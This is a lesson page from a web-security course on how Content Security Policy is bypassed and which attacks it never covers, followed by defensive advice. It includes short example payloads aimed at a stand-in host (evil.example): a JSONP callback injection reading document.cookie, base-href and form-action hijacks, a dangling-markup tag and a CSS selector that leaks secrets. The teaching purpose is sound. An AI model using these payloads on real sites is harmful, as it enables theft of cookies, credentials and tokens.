Skip to content

Lesson 9 of 14 · 13m

CSP Bypasses and What It Can't Stop

JSONP endpoints and script gadgets on allowed hosts, path collapse on redirects, missing base-uri and form-action directives, and the attacks CSP never governed.

An allowlist is only as strong as its weakest host

CSP fails in two directions: the policy permits something that can be abused, or the mechanism never covered the attack. Both happen constantly in production, and knowing the patterns is what separates a CSP that blocks from a CSP that decorates.

Host-allowlist collapse

The 2016 Google study "CSP Is Broken: Let's Fix It" remains the canonical analysis: the overwhelming majority of script-src host allowlists were bypassable. Two mechanisms did the damage.

JSONP endpoints. If any allowed host serves JSONP — https://cdn.example/jsonp?callback=foo returns foo({...}) — the attacker requests ?callback=alert(document.cookie)// and the response is executable JavaScript calling attacker-chosen code. Many public CDNs and APIs still expose JSONP, so script-src 'self' cdn.example quietly includes a code-generation service.

Script gadgets. Old versions of Angular and similar libraries contain functions reachable via markup (prototypal helpers, ng-app gadgets) that an injected <div> can steer into evaluation. The allowed host supplies both the gadget and the privilege.

There is also a spec-level quirk worth knowing: when a source in the allowlist contains a path — script-src https://cdn.example/lib/ — browsers ignore the path component if the request redirects. Any open redirect or loose redirector on an allowed host widens the policy to the whole host. Paths in script-src are decorative security.

'strict-dynamic' from lesson 8 is the designed answer: stop trusting hosts entirely and let trust propagate from nonced roots. The JSONP endpoint on an allowed host stops mattering when no host list exists to satisfy.

The directives people leave off

A policy can be airtight on scripts and still leak everything through directives nobody wrote:

  • base-uri. Inject <base href="https://evil.example/"> and every relative URL on the page — including relative script src — resolves against the attacker's origin. base-uri 'none' is two words; the failure is forgetting them.
  • form-action. Without it, injected <form action="https://evil.example"> is legal markup — no script needed — and whatever the victim types posts out. Login forms and CSRF-token-bearing hidden fields are the targets.
  • manifest-src, media-src, worker-src. Anything left unlisted falls back to default-src — which is why default-src 'none' in lesson 7 is load-bearing, and why a policy missing it has holes nobody ever greps for.
  • Dangling markup. <img src="https://evil.example/ left unclosed swallows the rest of the document into the URL — a technique for exfiltrating rendered secrets like CSRF tokens without executing anything. Chromium cuts the slurp at the first newline and img-src constrains the destination, but the real fix is not reflecting secrets into markup an injector can reshape.

What CSP never covered

A CSP governs resource loads and script execution. It says nothing about:

  • Legitimate code doing harm. Your own JavaScript, and every allowed third-party script, run at full trust. CSP cannot distinguish a compromised-but-allowed CDN file — that is the SRI problem (lesson 11).
  • CSS-only exfiltration. Attribute selectors plus background: url() leaks data without script: input[value^="s"]{background:url(//evil.example/s)} iterates secret prefixes. Tight style-src and never rendering secrets into attributes are the controls.
  • Navigation. window.location assignments and link clicks are not resource fetches; form-action and frame-ancestors cover their corners, but nothing stops injected <a href> phishing.
  • postMessage and storage flows. Data moving between windows crosses no CSP boundary.
  • Browser extensions and isolated worlds. Content scripts execute outside your CSP entirely.

What to actually do

Use nonce + 'strict-dynamic' so the bypass surface is a random string, not a host list. Audit every host you do allow for JSONP endpoints, old gadget libraries, and open redirects. Always pair object-src 'none' with base-uri 'none' and a form-action. And keep the mental model straight: CSP limits what may load and execute. It does not make loaded code trustworthy, and it does not see attacks that need no script.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.